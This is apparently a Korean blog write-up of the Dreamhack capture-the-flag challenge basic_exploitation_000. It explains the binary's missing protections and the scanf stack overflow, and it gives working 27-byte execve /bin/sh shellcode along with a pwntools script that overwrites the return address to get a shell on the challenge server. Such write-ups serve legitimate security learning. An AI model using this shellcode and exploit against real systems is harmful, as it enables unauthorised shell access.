외로운 Nova의 작업실

dreamhack 시스템해킹 - 8(basic_exploitation_000 문제풀이) 본문

Computer App Penetesting/System Vulnerability

dreamhack 시스템해킹 - 8(basic_exploitation_000 문제풀이)

Nova_ 2023. 1. 16. 23:12

이번시간에는 드림핵 basic_exploitation_000 문제를 풀어보도록 하겠습니다. 저의 환경은 윈도우지만 wsl을 사용하는중입니다.

- 문제인식

서버의 취약점을 찾고 익스플로잇한 후 셸을 획득하는 문제입니다. 아래는 서버의 환경으로 하나씩 보게습니다.

Ubuntu 16.04 : 운영체제 입니다.
Arch:     i386-32-little : CPU 아키텍처로 어셈블리어를 작성할때 필요합니다.
RELRO:    No RELRO : relocation read only의 약어로 BSS빼고 모두 write이 안되게 보호하는 기능입니다. 하지만 no RELRO이기때문에 기능이 꺼져있는 것을 알 수 있습니다. 즉, code 영역도 write 할 수 있다는 얘기입니다.
Stack:    No canary found : stack 보호 기능으로 ret위에 카나리를 두고 카나리가 변조되면 BOF가 일어난것으로 인식하는 기능입니다. 현재 기능이 꺼져있으므로 카나리는 없습니다.
NX:       NX disabled : never excute의 약어로 코드영역말고 모든 영역을 실행불가능하게 만듭니다. 현재 NX는 꺼져있으므로 스택에다가 코드를 넣고 실행가능하다는 의미입니다.
PIE:      No PIE (0x8048000) : position independent exutable의 약어로 실행하게되면 매핑주소가 달라져 함수들의 주소를 예측하지 못하게합니다. 이것도 꺼져있으므로 함수들의 주소는 동일합니다.
RWX:      Has RWX segments : 파일 권한의 의미로 read,write,excute 모두 할 수 있는 세그먼트(구역)을 가지고 있다는 뜻입니다.

 

서버의 환경은 보호기법이 하나도 걸려있지 않은 것을 알 수 있습니다. 이제 문제의 코드를 보겠습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

코드를 보게되면 사용자의 입력값을 받지만 검증하지않고 메모리에 넣는 scanf()함수가 쓰여져 있는 것을 알 수 있습니다. 이를통해 우리는 메모리에 쉘코드를 넣을 수 있습니다. 하지만 scanf()함수로 넣는 입력값은 스택부분에 쓰여져 NX가 enable이라면 실행하지 못하지만 NX가 disable이기때문에 스택부분에서 실행할 수 있게됩니다. 즉, NX가 disable이기때문에 ret으로 실행흐름을 쉘코드가 써져있는 스택으로 옮기고 쉘코드를 실행하면 될것같습니다. 하지만, initialize 함수에 의해서 30초뒤에 프로그램이 꺼집니다. 꺼진후에는 스택의 주소도 달라지기때문에 ret에 들어갈 주소도 달라집니다. 즉, 30초내에 스택의 주소(printf함수로 알려줌)를 파악하고 빠르게 쉘코드를 작성해야합니다. 이는 pwntools로 쉽게 구현할 수 있을 것 같습니다.

 

- 문제 풀이

<쉘코드작성>

먼저 쉘코드를 작성해보겠습니다. 현재 타겟의 운영체제는 32비트이고 i386 아키텍처를 쓰기때문에 execve 함수를 사용해 어셈블리어를 만들어보겠습니다. 쉘코드 어셈블리어를 만들때 주의할 점이 있습니다.

  • 첫번째 : 바이너리로 추출했을때 00이 있다면 scanf()함수는 끝으로 인식하여 그 뒤는 생략된다.
  • 두번째 : scanf()함수의 경우 \x0a \x0b \x0c \x0d \x09 \x20은 인식하지 못한다.
  • 세번째 : execve() 함수의 argv[0]은 항상 자기자신이 들어가야한다.

위 세가지를 지키면서 쉘코드를 어셈블리어로 작성하게되면 아래와 같게됩니다.

section .text
global _start
_start :
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0x30
sub al, 0x25
int 0x80

이제 바이너리로 변경해보겠습니다. 32비트이기때문에 nasm으로 32비트 컴파일을 진행시켜줍니다.

nasm -f elf32 shellcode.asm -o shellcode.o

이제 objdump 명령어로 코드롤 보겠습니다.

objdump -d shellcode.o

보게되면 조건에 잘 맞게 바이너리가 추출된 것을 확인할 수 있습니다. 길이는 27바이트입니다. 한번 한줄로 써보겠습니다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x30\x2c\x25\xcd\x80

 

<스택구조 고려하기>

서버에서 돌아가는 코드를 보면 buf는 0x80으로 선언되어있습니다. 즉 128바이트로 선언되어있습니다. 하지만 이는 실제로 컴파일이되면서 정확히 128바이트로 되지않습니다. 따라서 운영체제에따라서 실제로 몇바이트가 할당되는지 보아야하지만 wsl로는 한계점이 있습니다. 이때문에 가상환경이나 컴퓨터가 여러대있어야되겠다는 생각이들었습니다. 일단, 이부분은 알아내기 조금 복잡해서 인터넷에 해답을 보았습니다. 확인결과 실제 128바이트가 할당되는 것을 확인할 수 있습니다. 따라서 ebp값인 4바이트를 포함하여 buf의 시작점부터 ret까지는 132바이트가 되는 것을 알수 있습니다.

 

<pwntools 작성>

30초동안 print구문으로 나오는 버퍼의 주소를 구해서 빠르게 ret 부분에 집어넣어야하기때문에 아래와 같이 코드를 작성합니다.

p = remote('host3.dreamhack.games', 9024)

p.recvuntil("buf = (")

buf_address = int(p.recv(10), 16)

payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x30\x2c\x25\xcd\x80"
payload += b'A' * 105
payload += p32(buf_address)

p.send(payload)

p.interactive()

132바이트중 27바이트는 쉘코드를 넣어주고 남은 105바이트는 의미없는 A값을 넣어줍니다. 이후 서버로부터 recv한 buf_address를 32바이트로 패킹하여 payload에 더해줍니다. 즉, ret부분에 buf의 시작주소가 들어가게되며 서버쪽에서는 main함수가 끝나게되면 실행흐름이 스택에서 buf의 시작주소로 가게됩니다. 이후에는 쉘코드가 실행됩니다.

 

<실제 실행>

플래그를 얻을 수 있게됩니다.

 

 

<마무리>

굉장히 쉬운문제이지만 시스템 해킹의 기본이 다 들어가 있는 문제입니다. 타겟의 운영체제, cpu 아키텍처, 적용되어있는 방어기법들을 알아야하고, 취약점을 찾아 pwntools를 사용해서 쉘코드를 주입하여 쉘을 얻어내는 문제라고 생각합니다. 이번 문제를 통해 여러 노트북을 가지고 싶다는 생각이 들었으며 interactive()가 어떻게 동작하는지 궁금하다는 생각이 들었습니다.

Comments